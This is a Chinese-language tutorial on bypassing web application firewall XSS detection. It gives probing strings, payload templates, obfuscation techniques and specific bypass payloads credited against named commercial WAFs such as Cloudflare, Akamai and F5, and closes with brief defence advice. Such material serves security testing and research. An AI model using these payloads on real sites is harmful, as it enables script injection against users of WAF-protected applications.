看我如何绕过WAF的XSS检测机制
字数 2154 2025-08-18 11:38:28
绕过WAF的XSS检测机制高级指南
概述
本文详细介绍了绕过Web应用防火墙(WAF)XSS检测机制的系统性方法,该方法由三个阶段组成:确定Payload结构、探测和混淆处理。通过分析目标WAF的正则表达式匹配机制,构造能够绕过安全检测的XSS攻击向量。
前提知识
- 读者需具备XSS、HTML和JavaScript基础知识
- 文中符号说明:
{string}:代表Payload机制中的组件{?string}:代表可选组件- "主要字符":Payload中必须包含的关键字符
准备工作
- 使用URL编码处理Payload中的不安全字符(如"+"和"&")
- 探测阶段建议使用无害字符串代替
{javascript} - 准备多种编码方式和特殊字符组合
HTML上下文分析
1. 标签外上下文
当用户输入出现在HTML标签外部时(如<span>You entered $input</span>),主要字符"<"代表HTML标签起始。
标签名检测规则探测
<svg- 通过则无标签检测<dev- 失败则为<[a-z]+x<dev- 通过则为^<[a-z]+<dEv- 失败则为<[a-zA-Z]+<d3V- 失败则为<[a-zA-Z0-9]+<d|3v- 失败则为<.+
2. 标签内上下文
当用户输入出现在HTML标签属性中时(如<input type="text" value="$input">),需采用不同策略。
Payload构造机制
机制#1:事件处理器Payload
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
填充符(filler)探测
<tag xxx- 失败则为{space}<tag%09xxx- 失败则为[\s]<tag%09%09xxx- 失败则为\s+<tag/xxx- 失败则为[\s/]+<tag%0axxx- 失败则为[\s\n]+<tag%0dxxx>- 失败则为[\s\n\r+]+<tag/~/xxx- 失败则为.*+
事件处理器检测
<tag{filler}onxxx- 失败则为on\w+;通过则为on(load|click|error|show)<tag{filler}onclick- 通过则无事件处理器检测
不常用但有效的事件处理器:
- onauxclick
- ondblclick
- oncontextmenu
- onmouseleave
- ontouchcancel
常用Payload结束符
<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09
机制#2:脚本引用Payload
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
或使用<object>标签:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
机制#3:JavaScript伪协议Payload
明文结构:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆结构:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
JavaScript上下文Payload
机制#1
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
机制#2
{quote}{delimiter}{javascript}//
示例:
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
实际WAF绕过案例
-
Cloudflare
- Payload:
<a"/onclick=(confirm)()>click - 技术: 非空格填充
- Payload:
-
Wordfence
- Payload:
<a/href=javascript&colon;alert()>click - 技术: 数字字符编码
- Payload:
-
Barracuda
- Payload:
<a/href=Java%0a%0d%09script&colon;alert()>click - 技术: 数字字符编码
- Payload:
-
Akamai
- Payload:
<d3v/onauxclick=[2].some(confirm)>click - 技术: 黑名单缺少事件处理器+函数调用混淆
- Payload:
-
Comodo
- Payload:
<d3v/onauxclick=(((confirm)))``>click - 技术: 黑名单缺少事件处理器+函数调用混淆
- Payload:
-
F5
- Payload:
<d3v/onmouseleave=[2].some(confirm)>click - 技术: 黑名单缺少事件处理器+函数调用混淆
- Payload:
-
ModSecurity
- Payload:
<details/open/ontoggle=alert()> - 技术: 黑名单缺少标签或事件处理器
- Payload:
-
dotdefender
- Payload:
<details/open/ontoggle=(confirm)()// - 技术: 黑名单缺少结束标签、事件处理器和函数调用混淆
- Payload:
高级绕过技术
- 数字字符引用:将关键字符转换为HTML实体编码
- 大小写混淆:混合使用大小写字母绕过简单正则
- 非常规空白符:使用
%09(Tab)、%0a(LF)、%0d(CR)等替代空格 - 函数调用混淆:使用
(alert)、((alert))、[1].map(alert)等形式 - 标签/属性黑名单绕过:使用不常见但有效的HTML标签和属性
防御建议
- 实施严格的输入验证和输出编码
- 使用内容安全策略(CSP)
- 不要依赖黑名单,采用白名单机制
- 规范化所有输入数据
- 定期更新WAF规则以应对新型攻击向量
参考资料
- HTML规范
- 数字字符引用标准
- OWASP XSS防护指南
通过系统性地应用这些技术,可以有效绕过大多数基于正则表达式的WAF XSS防护机制。安全研究人员应使用这些知识来加强防御而非进行恶意攻击。